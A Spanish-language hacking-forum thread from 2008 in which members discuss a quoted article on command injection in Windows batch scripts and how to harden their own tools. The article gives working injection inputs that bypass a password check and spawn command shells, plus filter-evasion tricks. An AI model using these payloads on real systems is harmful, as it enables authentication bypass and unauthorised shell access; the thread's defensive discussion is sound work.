Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Julio 26, 2008, 11:52:17
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, The Shadow)  |  Tema: Seguridad de Nuestros Bats ¡¡ 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Seguridad de Nuestros Bats ¡¡  (Leído 377 veces)
:: SmartGenius™ :: ツ
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1660


Hello there...you was Bluejacked ¡¡...xD

smartgenius@el-hacker.org
Ver Perfil WWW
« en: Abril 25, 2008, 12:08:43 »

Un texto que consegui sobre la posible inseguridad que afectaria a los codes que hacemos en batch...

Citar
Batch Injetcions

   Vulnerabilidades en programas BATCH


Dado que recientemente me he dado cuenta de que las aplicaciones remotas
estan usando cada vez mas aplicaciones BATCH, (de las cuales yo he hecho
varias), para generar herramientas, con las cuales se cree que su uso es
seguro, he decidido escribir este documento sobre las vulnerabilidades en
estos programas, para que se reconsidere su uso en su futuro.
Estas vulnerabilidades, las he nombrados segun su semejanza con vulnera-
bilidades a nivel web, las cuales son BATCH Injection y BATCH Command
Execution.

BATCH Injection

Los que estén familiarizados con la seguridad a nivel web, seguramente
conocerán el término SQL Injection, o LDAP Injection, que nos permite
ejecutar sentencias SQL (o LDAP) en un interprete.
Mientras que estos ataques (especialmente SQLi), ya han sido ampliamente
estudiados, existe una variable, a la cual he llamado, BATCH Injection.
basándonos en el mismo princípio en el cual se basan las vulnerabílidades
de SQL Injection, el cual es insertar comandos extra, en una sentencia
con el uso de una variable comprometída, BATCH injection, nos permite
ejecutar comandos en un programa BATCH, que acepte alguna variable por
medio de el comando SET, o a travez de argumentos.

Puede que piensen que este ataque no es un vector de ataque remoto, pero
temo decirles que estan en un error. Aunque son pocas, existen programas
en los cuales, parte del código, utiliza BATCH, normalmente, para tareas
de administración via telnet. Un ejemplo, es el archivo en WindowsNT,
C:\WINNT\system32\login.cmd el cual aunque solo es una pantalla de
bienvenida, la cual nos da shell sin tener que vulnerar nada, demuestra
que el uso de archivos BATCH en tareas de administración telnet, es muy
común. Podemos ver el contenido a continuación:
>> type C:\WINNT\system32\login.cmd
     @echo off
   rem
   rem  Secuencia de comandos global predeterminada del inicio de sesión
   rem  para servidor Telnet
   rem
   rem  En la instalación predeterminada, esta secuencia de comandos es
   rem  ejecutada cuando se ejecuta el comando inicial shell.  A cambio,
   rem  intentará invocar la secuencia de comandos del inicio de sesión
   rem  del usuario individual.
   rem

   echo *===============================================================
   echo Bienvenido al servidor Telnet de Microsoft.
   echo *===============================================================

   cd %HOMEDRIVE%%HOMEPATH% /d


Como podémos ver, no es necesário vulnerar nada, dado que se nos da acceso
inmediatamente a una shell, sinembargo, que tal que alguien, en un vago
intento de "asegurar" este código (alguien que no sabe configurar el
servidor telnet), tratará de reescribir este código a algo similar a:
>> copy con: login.cmd
     @echo off
   echo Bienvenido al sistema de administración via telnet.
   set /P pass=Por favor ingresa tu contraseña:
   if "%pass%"=="secreto" (
           echo PASSWORD CORRECTO
   ) else (
           echo PASSWORD INCORRECTO
           call %~nx0
   )
   ^Z
           1 archivos copiados.

Se espera que el lector ya entienda la programación en BATCH.
en este caso, al ejecutar el comando, nos dará:
>> login.cmd
   Bienvenido al sistema de administración via telnet.
   Por favor ingresa tu contraseña: incorrecto
   PASSWORD INCORRECTO
   Bienvenido al sistema de administración via telnet.
   Por favor ingresa tu contraseña: secreto
   PASSWORD CORRECTO

Mientras no escriba el password correcto, el codigo se volverá a llamar
a si mismo, de esta forma se asegura de que hasta que el usuario envie
el password correcto, no pasará de esa pantalla.
Ahora, debemos entender como funciona el parser de BATCH en Windows.
cuando nosotros escribimos en un código BATCH, algo como..
>> echo %LANG%
   es

El parser de batch, detecta la variable LANG, y la reemplaza por su
valor, es decir.. si hacemos algo como..
>> set cmd=ver
  
>> %cmd%

   Microsoft Windows 2000 [Versión 5.00.2195]

Lo que hace es reemplazar %cmd% por "ver", y ejecutar "ver". Ahora que
sabemos eso, nos debemos dar cuenta de que, por ejemplo, si tenemos un
programa asi:
>> copy con: prueba.bat
     @echo off
   set /P nombre=¿Como te llamas?
   echo Tu te llamas %nombre%
   ^Z
           1 archivos copiados.

Nosotros podémos hacer que se guarde el resultado en un archivo, de la
siguiente forma:
>> prueba
   ¿Como te llamas? sirdarckcat > salida.txt

Como vimos, la salida del comando, no se mostro, lo que si hubiera pasado
si solo hubieramos puesto el nombre.. mira:
>> prueba
   ¿Como te llamas? sirdarckcat
   Tu te llamas sirdarckcat

Y podemos comprobar que el archivo se escribió
>> type salida.txt
   Tu te llamas sirdarckcat

En fin, no solo podemos redirigir la salida de comandos, tambien podemos
ejecutar nuestros propios comandos, con el símbolo &
>> prueba
   ¿Como te llamas? sirdarckcat & ver
   Tu te llamas sirdarckcat
  
   Microsoft Windows 2000 [Versión 5.00.2195]

Interesante no? para ahora, ya te debes haber dado cuenta que nuestro
script login.cmd es vulnerable a algo.. y si, tienes razón.
>> login
   Bienvenido al sistema de administración via telnet.
   Por favor ingresa tu contraseña: "=="" ( REM
   PASSWORD CORRECTO

Te preguntarás que paso aquí.. porque me dijo PASSWORD CORRECTO? si yo
no sabía el password.. para eso, solo debemos de editar nuestro   @echo off
>> copy con: login.cmd
     @echo on
   ¿Sobrescribir login.cmd? (Sí/No/Todo): t
   echo Bienvenido al sistema de administración via telnet.
   set /P pass=Por favor ingresa tu contraseña:
   if "%pass%"=="secreto" (
           echo PASSWORD CORRECTO
   ) else (
           echo PASSWORD INCORRECTO
           call %~nx0
   )
   ^Z
           1 archivos copiados.

veamos:
>> login

   >> echo Bienvenido al sistema de administración via telnet.
      Bienvenido al sistema de administración via telnet.

   >> set /P pass=Por favor ingresa tu contraseña:
      Por favor ingresa tu contraseña:"=="" ( REM

   >> if "" == "" (
      REM "=="secreto" (
       echo PASSWORD CORRECTO
      )  else (
      echo PASSWORD INCORRECTO
       call login.cmd
      )
      PASSWORD CORRECTO

Lo que hace REM, es comentar una linea, es decir, ignora todo lo que
esté despues de este, es el equivalente a "--" en MSSQL y a "/*" en mysql

 BATCH Command Execution

Al igual que BATCH Injection, supongamos que queremos que un programa
al cual aparentemente no podemos hacer nada, aun con el password correcto
ejecute un comando, como por ejemplo.. nos de una shell.. esto se puede
hacer con "&" (y despues veremos como con "|")
>> prueba
   ¿Como te llamas? eduardo&cmd
   Tu te llamas eduardo
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
  
   >> exit

Como vimos, simplemente con &cmd, podemos ejecutar comandos, ahora ya
pensarás que solo hay que filtrarlo.. pues, filtremoslo.
>> copy con: prueba_seguro.bat
     @echo off
   set /P nombre=¿Como te llamas?
   set nombre=%nombre:&=_%
   set nombre=%nombre:>=_%
   set nombre=%nombre:<=_%
   set nombre=%nombre:|=_%
   set nombre=%nombre:"=_%
   echo Tu nombre es %nombre%
   ^Z
           1 archivos copiados.

>> prueba_seguro
   ¿Como te llamas? eduardo&cmd
   Tu nombre es eduardo_cmd

>> prueba_seguro
   ¿Como te llamas? eduardo|start /B cmd /K REM

   >>
>> Tu nombre es eduardo_start /B cmd /K REM
  
>> >> >>
Hey! que paso ahi? bueno, como ya te dije antes, cmd cambia las variables
por su contenido, es decir.. cuando hacemos, set nombre=%nombre:&=_%
el | es ejecutado.. por lo que CMD lee..
>> set nombre=eduardo|start /B cmd /K REM

>>
Lo que hace que salga 1 linea extra, aunque nada ahí es ejecutado.
ahora, tenemos todavia la posibilidad de ejecutar cosas con |
pero, que? cualquier comando, veremos su salida, pero yo quiero una shell
y para eso, haremos lo siguiente..
>> prueba_seguro
   ¿Como te llamas? &cmd ^
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
  
   >> exit
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
  
   >> exit
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
  
   >> exit
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
  
   >> exit

Esto: "&cmd ^" abrió 4 cmd.. porque? porque el caracter "^" quita lo que
esté despues de el, en este caso, un salto de línea.. por lo que al final
cmd interpreta..

set nombre=_cmd set nombre=  & cmd set nombre=  & cmd set nombre=  & cmd
   echo Tu nombre es   & cmd

Ahora porque no se filtra el caracter ^ tambien?
La respuesta es porque ese debería ser el caracter a filtrar primero
ya que de lo contrario, arrastra a todos los demas filtros, pero si ese
es el primero en filtrarse, entonces podríamos usar & para abrir una
shell.

Una manera de solucionar eso, es colocando un espacio en cada linea.

>> copy con: prueba_mas.bat
     @echo off
   set /P nombre=¨Como te llamas?
   set nombre=%nombre:&=_%
   set nombre=%nombre:>=_%
   set nombre=%nombre:<=_%
   set nombre=%nombre:|=_%
   echo Tu nombre es %nombre%
   ^Z
           1 archivos copiados.

De esta forma.. el ^ solo cancelará un espacio, en ves de un salto de linea
y aun asi, despues de tanto, aun podemos hacer una shell.. ya que SET al ser
canalizado, no guarda el valor, es decir.. si decimos:
>> set dia=1|echo.
   dia no valdra nada:
>> echo %dia%
   %dia%
Asi que.. para poder detener el uso de &, ese debe ser el caracter filtrado
primero, pero el caracter | puede anular los filtros, asi que ese tambien
debe ser anulado primero, asi que un filtro en batch es irreal.. lo que
se debe hacer, es no usar variables (manipulables por el usuario) en forma
%var%, ya que siempre es posible ejecutar comandos asi, la forma correcta
es la siguiente:
>> copy con: seguro.bat
     @echo off
   set /P nombre=Escribe tu nombre:
   set | find "nombre="
   ^Z
           1 archivos copiados.

>> seguro
   Escribe tu nombre: cmd|cmd&cmd^
   nombre=cmd|cmd&cmd^

Para concluir solo quiero decirles, que BATCH solo debe ser usado para
automatizar tareas, nunca para una interacción remota, a menos que en
el código NUNCA se usen variables expandibles.. Hasta hoy, no he encontrado
un filtro realmente seguro, usando FOR's, FIND, canalizaciones, etc. siempre
hay alguna forma de ejecutar algun comando, por lo que no se debe usar BATCH
en un entorno inseguro.


el texto fue escrito por un tal tito....

y a mi me dio por probarlo en mi programa estrella... el folder protector...



y vaya mi sorpresa, al ver ahi la clave....

YO QUE ME SE EL CODIGO FUENTE PUEDE HABER ESCRITO OTRA COSA MAS CONCRETA, PERO ALGUIEN QUE NO SABE NI COMO ESTAN DEFINIDAS LAS VARIABLES, USANDO ESE TROZO DE CODIGO PODRIA TENER ACCESO...(perdon por gritar)...


me hace pensar en mejorar la seguridad del programa, hasta hacerlo casi "incrackeable", asi que ya no depender de un archivo de texto junto al programa sino de uno oculto mediante ADS, y que ademas este encriptado, para hacerlo mas seguro, ademas de quitarle la funcion que habia puesto que era "setmasterpass"...

que piensan ustedes del tema...
« Última modificación: Abril 25, 2008, 09:45:18 por :: SmartGenius :: » En línea



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Proyecto Windows El-Hacker.com Edition...Colabora¡¡



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion






Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Reglas del Area de Phreaking - Leetelas


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
TUTORIAL: Como Traducir Aplicaciones JAVA - Moviles


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Super Bluetooth Hack 1.08 en Español - by SmartGenius


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Aplicaciones que nunca deben faltar en tu Movil !!
:. Soldier .:
Colaborador
*****
Desconectado Desconectado

Mensajes: 590


___Vencer es confiar en si mismo___


Ver Perfil WWW Email
« Respuesta #1 en: Abril 25, 2008, 01:23:10 »

Con esa simple injeccion se puede obtener el password no puede ser, con esto nos damos cuenta de que la seguridad jamass sera segura siempre habra bugs y metodos por donde entrar solo se necesita imaginacion, lastima hay que mejorar el programa para que sea mas fuerte en cuanto a crackearlo

Salu2
En línea




Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

kj
Colaborador
*****
Desconectado Desconectado

Mensajes: 721


el que madruga dios lo arruga

jjk_192@hotmail.com
Ver Perfil Email
« Respuesta #2 en: Abril 25, 2008, 06:48:33 »


wow, anotando que esta bueno.

saludos

kj
En línea

*si la vida te da la espalda agarrale el culo.
*la cerveza mata lentamente, pero no tengo apuro  alguno.
*daria todo lo que se por la mitad de lo que ignoro.

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
acabemos con rapidshare y megaupload. clic aqui
EOF
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2132


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #3 en: Abril 25, 2008, 06:57:54 »

mmm...todos los dias se aprende algo nuevo, pero probe eso en este code:

echo introduzca password:&&set /p con=
if %con%==el-hacker.com goto correcto
if %con%==%con% goto incorrecto


y no me resulto, osea directamente se salio de la shell



saludos
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
NORMAS DEL FORO



Respeto es la clave del mund0.
TerminalHacker.net
LatinoHack.com
:: SmartGenius™ :: ツ
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1660


Hello there...you was Bluejacked ¡¡...xD

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #4 en: Abril 25, 2008, 08:10:22 »

mmm...todos los dias se aprende algo nuevo, pero probe eso en este code:

echo introduzca password:&&set /p con=
if %con%==el-hacker.com goto correcto
if %con%==%con% goto incorrecto


y no me resulto, osea directamente se salio de la shell

no quiere decir que ese code no sea vulnerable, solo que hay que cambiar de metodo o de cambiar el comando que se inserta...

notese que yo en el comando le pongo un pause a lo ultimo... ya que a mi tambien se me salia de la shell...

pero este es otro ejemplo...



asi que esto estaria limitado a la forma en que se filtre lo que el user ponga y que no permita la ejecucion de comandos....

codebuser: deberias d eintentar con otro code....

Código:
Interesante no? para ahora, ya te debes haber dado cuenta que nuestro
script login.cmd es vulnerable a algo.. y si, tienes razón.
>> login
   Bienvenido al sistema de administración via telnet.
   Por favor ingresa tu contraseña: "=="" ( REM
   PASSWORD CORRECTO

haz un programa que muestre el codigo que posteaste....

Saludos.
« Última modificación: Abril 25, 2008, 09:46:11 por :: SmartGenius :: » En línea



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Proyecto Windows El-Hacker.com Edition...Colabora¡¡



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion






Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Reglas del Area de Phreaking - Leetelas


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
TUTORIAL: Como Traducir Aplicaciones JAVA - Moviles


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Super Bluetooth Hack 1.08 en Español - by SmartGenius


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Aplicaciones que nunca deben faltar en tu Movil !!
EOF
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2132


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #5 en: Abril 26, 2008, 04:08:10 »

mira, ya saque las conclusiones.....

mira en este code:

 @echo off
echo Bienvenido al sistema de administración via telnet.
set /P pass=Por favor ingresa tu contraseña:
if "%pass%"=="secreto" (
echo PASSWORD CORRECTO
pause
) else (
echo PASSWORD INCORRECTO
puse
)


cuando nos pide la contraseña, al introducir "=="" ( REM....nos saltara directamente a la contraseña ( cosa que tengo que investigar mas a fondo del por que )

pero mira, si utilizamos este otro code:

 @echo off
echo.
echo introduzca PassWord:&&set /p con=
if %con%==123 goto si
if %con%==%con% goto no
:si
echo Password correcta
pause
:no
msg * "password incorrecta"
exit


estamos obligando a que cuando introduzcamos una contraseña, o es igual que 123 o introduzcas lo que introduzcas, sales de la shell



saludos
« Última modificación: Abril 26, 2008, 04:26:23 por c0dEBuSer » En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
NORMAS DEL FORO



Respeto es la clave del mund0.
TerminalHacker.net
LatinoHack.com
:: SmartGenius™ :: ツ
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1660


Hello there...you was Bluejacked ¡¡...xD

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #6 en: Abril 26, 2008, 01:24:03 »

no creo que esto ultimo sea tan cierto....

mira, el code que pusiste, lo escribiste mal...

Código:
@echo off
echo.
echo introduzca PassWord:&&set /p con=
if %con%==123 goto si
if %con%==%con% goto no
:si
echo Password correcta
pause
:no
msg * "password incorrecta"
exit
si escribias la pass correcta igual despues te mostraba tambien de que era incorrecta...


yo lo modifique asi

Código:
@echo off
echo.
echo introduzca PassWord:&&set /p con=
if %con%==123 goto si
if %con%==%con% goto no
:si
echo Password correcta
pause
exit
:no
msg * "password incorrecta"
pause
exit

y fijate la inyeccion ahi...



Saludos.
En línea



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Proyecto Windows El-Hacker.com Edition...Colabora¡¡



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion






Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Reglas del Area de Phreaking - Leetelas


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
TUTORIAL: Como Traducir Aplicaciones JAVA - Moviles


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Super Bluetooth Hack 1.08 en Español - by SmartGenius


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Aplicaciones que nunca deben faltar en tu Movil !!
Aleks
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2627


Mehr licht


Ver Perfil Email
« Respuesta #7 en: Abril 26, 2008, 01:32:53 »

Esa referencia que dices Smart es de otro foro, y el tal tito que mencionas solo lo plagio de donde yo lo lei hace variso meses, eso si te lo aseguro, pero dejemoslo así, por otro lado, les digo a los que tiene aplicaciones en batch, para el proyecto del Windows CUH, ninguno debe ser vulnerable, entonces esto seria una de las reglas o mejor aun , un item obligatorio para poder incluirlos en el proyecto como tal, a mi se me haba olvidado mencionar eso delas vulnerabilidades, incluso estuve haciendo lago para ponerlo en este foro de batch, pero como ando tan liado ya se me había pasado.
« Última modificación: Abril 26, 2008, 01:48:10 por Aleks » En línea





Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

I´ll see you in the other side, I know it!
EOF
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2132


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #8 en: Abril 26, 2008, 04:30:26 »

joe...ya bueno pero aparece el pause, con password correcto, que era eso lo que queria....bueno viendo lo que veo, me voy a estudiar este tipo de vulnerabilidades que nunca habia leido sobre ellas, y voy a ver que saco





saludos
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
NORMAS DEL FORO



Respeto es la clave del mund0.
TerminalHacker.net
LatinoHack.com
wizard_0
Miembro
*****
Desconectado Desconectado

Mensajes: 111


wizard_0_@hotmail.com
Ver Perfil Email
« Respuesta #9 en: Abril 26, 2008, 05:27:35 »



Pon esto  al code  ""  en  las  las ifs...    y  no  funciona  la  inyeccion ==rem

Estas  vulnerabilidades  las  conosco  pero  era   trabajo  de  los  moderadores  poner  esto  a  explicacion... 

y   las   soluciones.. puej  estan  aki 

set /p p="Password >"



   set nombre=%nombre:&=_%
   set nombre=%nombre:>=_%
   set nombre=%nombre:<=_%
   set nombre=%nombre:|=_%
   set nombre=%nombre:"=_%
claro  antes  de llegar  a  las  condiciones...
if..
if.

En línea

↑__P®egun†a__b!na®¡a__↑

3reS_un__[1]__ø__[0]__?¿?¿
        ø__vives__ø__mueres

Si__estas__v1vø_!!!__ganate__el__ saludo_!!!

"
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion"
Aleks
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2627


Mehr licht


Ver Perfil Email
« Respuesta #10 en: Abril 26, 2008, 05:43:00 »

Deben leer bien la cita que puso Smart, no es solo eso a lo que se refieren ustedes. Como les dije eso es muy viejo y no es algo que se solucione así de  fácil, se deben tener muchos aspectos en cuenta.
En línea





Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

I´ll see you in the other side, I know it!
EOF
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2132


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #11 en: Abril 26, 2008, 06:05:17 »

coño wizard es cierto..........fijate que tonteria, las puñeteras comillas, que antes no me las saltaba nunca y con la tonteria de codear y codear, pase de ellas y fijate en este tema son importantisimas


pues tema resuelto no? smart Wink

EDITADO:
de todas formas, se pueden pasar a .exe y al .exe meterle un pass


saludos
« Última modificación: Abril 26, 2008, 06:10:34 por c0dEBuSer » En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
NORMAS DEL FORO



Respeto es la clave del mund0.
TerminalHacker.net
LatinoHack.com
:: SmartGenius™ :: ツ
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1660


Hello there...you was Bluejacked ¡¡...xD

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #12 en: Abril 26, 2008, 08:23:35 »

pues yo no lo creo asi... ya que dice que simepres hay la posibilidad de sacar una shell...

Citar
para poder detener el uso de &, ese debe ser el caracter filtrado
primero, pero el caracter | puede anular los filtros, asi que ese tambien
debe ser anulado primero, asi que un filtro en batch es irreal.. lo que
se debe hacer, es no usar variables (manipulables por el usuario) en forma
%var%, ya que siempre es posible ejecutar comandos asi,

lo mejor es encriptarla, filtrar lo mas posible la entrada del usuario... y si la contraseña depende de un archivo externo (en este caso nuestro programa), pues ponerlo en un area segura onde sea muy dificil accesarlo (por ejemplo en un ADS)...

intenten hacer un code bien poderoso, y entre todos le probamos varias vulnerabilidades, a ver si es posible que caiga... para asi de esa manera saber como tenemos que hacer para que sea seguro...

Saludos.
En línea



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Proyecto Windows El-Hacker.com Edition...Colabora¡¡



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion






Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Reglas del Area de Phreaking - Leetelas


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
TUTORIAL: Como Traducir Aplicaciones JAVA - Moviles


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Super Bluetooth Hack 1.08 en Español - by SmartGenius


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Aplicaciones que nunca deben faltar en tu Movil !!
EOF
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2132


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #13 en: Abril 27, 2008, 06:46:20 »

pues yo no lo creo asi... ya que dice que simepres hay la posibilidad de sacar una shell...

Citar
para poder detener el uso de &, ese debe ser el caracter filtrado
primero, pero el caracter | puede anular los filtros, asi que ese tambien
debe ser anulado primero, asi que un filtro en batch es irreal.. lo que
se debe hacer, es no usar variables (manipulables por el usuario) en forma
%var%, ya que siempre es posible ejecutar comandos asi,

lo mejor es encriptarla, filtrar lo mas posible la entrada del usuario... y si la contraseña depende de un archivo externo (en este caso nuestro programa), pues ponerlo en un area segura onde sea muy dificil accesarlo (por ejemplo en un ADS)...

intenten hacer un code bien poderoso, y entre todos le probamos varias vulnerabilidades, a ver si es posible que caiga... para asi de esa manera saber como tenemos que hacer para que sea seguro...

Saludos.

no te creas todo lo que lees por ahi algunas veces puede que no tengan razon...de todas formas seguire investigando esto



saludos
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
NORMAS DEL FORO



Respeto es la clave del mund0.
TerminalHacker.net
LatinoHack.com
kj
Colaborador
*****
Desconectado Desconectado

Mensajes: 721


el que madruga dios lo arruga

jjk_192@hotmail.com
Ver Perfil Email
« Respuesta #14 en: Abril 28, 2008, 04:26:04 »


wow creo que esto no es para mi...xD  ya no doy.
En línea

*si la vida te da la espalda agarrale el culo.
*la cerveza mata lentamente, pero no tengo apuro  alguno.
*daria todo lo que se por la mitad de lo que ignoro.

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
acabemos con rapidshare y megaupload. clic aqui
Aleks
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2627


Mehr licht


Ver Perfil Email
« Respuesta #15 en: Abril 28, 2008, 05:10:42 »

Pues lo que dice SmartGenius es lo mas atinado, la mejor forma para evitar Batch injection es creando varios filtros ya que no son solo las comillas y hay muchas firmas de saltarse la seguridad de un programa en batch, pero no es imposible protegerlos al 100%, pero como dicen por ahí es cuestión de experimentar, ademas de leer detalladamente el articulo en mención, pero después de que se creen los filtros estándar pues se le anexan a nuestros batchs. Espero ver que hacéis al respecto!   Wink
« Última modificación: Abril 28, 2008, 07:56:54 por Aleks » En línea





Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

I´ll see you in the other side, I know it!
[p3ll3]
Colaborador
*****
Desconectado Desconectado

Mensajes: 524

Read The Fucking Manual && STFU xDDD


Ver Perfil WWW
« Respuesta #16 en: Abril 29, 2008, 05:05:38 »

Pues lo que dice SmartGenius es lo mas atinado, la mejor forma para evitar Batch injection es creando varios filtros ya que no son solo las comillas y hay muchas firmas de saltarse la seguridad de un programa en batch, pero no es imposible protegerlos al 100%, pero como dicen por ahí es cuestión de experimentar, ademas de leer detalladamente el articulo en mención, pero después de que se creen los filtros estándar pues se le anexan a nuestros batchs. Espero ver que hacéis al respecto!   Wink

Eso es muy cierto , recordarle a los amigos que ninugun programa es 100% seguro siempre , se pueden invertir anios haciendo modulos y funciones de seguridad que siempre va a llegar alguien a la semana , al mes  ... diciendo que ya consiguio la forma de vulnerar nuestro programa.

Bien por Smart que se ve que esta trabajando en su programa  Wink



Saludos.......... Cool
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

:: SmartGenius™ :: ツ
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1660


Hello there...you was Bluejacked ¡¡...xD

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #17 en: Abril 30, 2008, 01:07:25 »

Pues claro que estoy trabajando, ya que ahi que hacerlo lo mejor posible, lo estoy probando de diferentes maneras y en diferentes maquinas a ver como responde, ademas de ir leyendome unos tutos de batch y algo de vbs, asi voy aprendiendo y voy mejorando mis codes...

Un Saludo.
En línea



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Proyecto Windows El-Hacker.com Edition...Colabora¡¡



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion






Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Reglas del Area de Phreaking - Leetelas


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
TUTORIAL: Como Traducir Aplicaciones JAVA - Moviles


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Super Bluetooth Hack 1.08 en Español - by SmartGenius


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Aplicaciones que nunca deben faltar en tu Movil !!
Sh4k4
Colaborador
*****
Desconectado Desconectado

Mensajes: 557


SHAKA


Ver Perfil WWW
« Respuesta #18 en: Abril 30, 2008, 06:26:03 »

100% cierto!! valla por fin le entrar al batch!! que bien.. ya van encontrando los detalles que llevo tiempo diciendo... hay mas cosas secretas en batch que os daran sustos y sorprenderan y claro no son nuevas llevan años... tras bambalinas...saludoz!!! ==+loquesea and command + option jajajaja va mas alla...... salutez!! god!! is a script a real script!!!  Tongue
En línea

Arayashiki
ECDundy
Habitual
*****
Desconectado Desconectado

Mensajes: 164


throw new exception(":)");

erick_cartman_ok
Ver Perfil WWW Email
« Respuesta #19 en: Mayo 04, 2008, 01:38:57 »

El problema planteado no es tan sencillo como ustedes lo ven. No importa lo que hagan se vera el password. Porque?
Ejecute usted el programa desde la consola. Y en plena ejecucion precione Cntrl+C. Habra cancelado el programa antes de completarse.
Entonces como las variables las ah creado dentro de su consola quedarian creadas aun. Luego solo hay que ejecutar set. Y usted podra ver lo que deseaba ver.
Como pueden observar, ustedes en bath no pueden poner un filtro para que el usuario no precione las teclas de escape(cntrl+c).
Mi solucion:
encriptar el parametro antes de guardarlo en una variable. Veran que es muy facil. En el ejemplo de shadow para invetir cadenas esta la clave.
Felicidades, este post ah quedado muy bueno
saludos
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

<br="The cat with a glass eye and fire in the tail"
 href="http://www.programmersheaven.com/user/ECDundy/blog/"/>
:: SmartGenius™ :: ツ
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1660


Hello there...you was Bluejacked ¡¡...xD

smartgenius@el-hacker.org
Ver Perfil WWW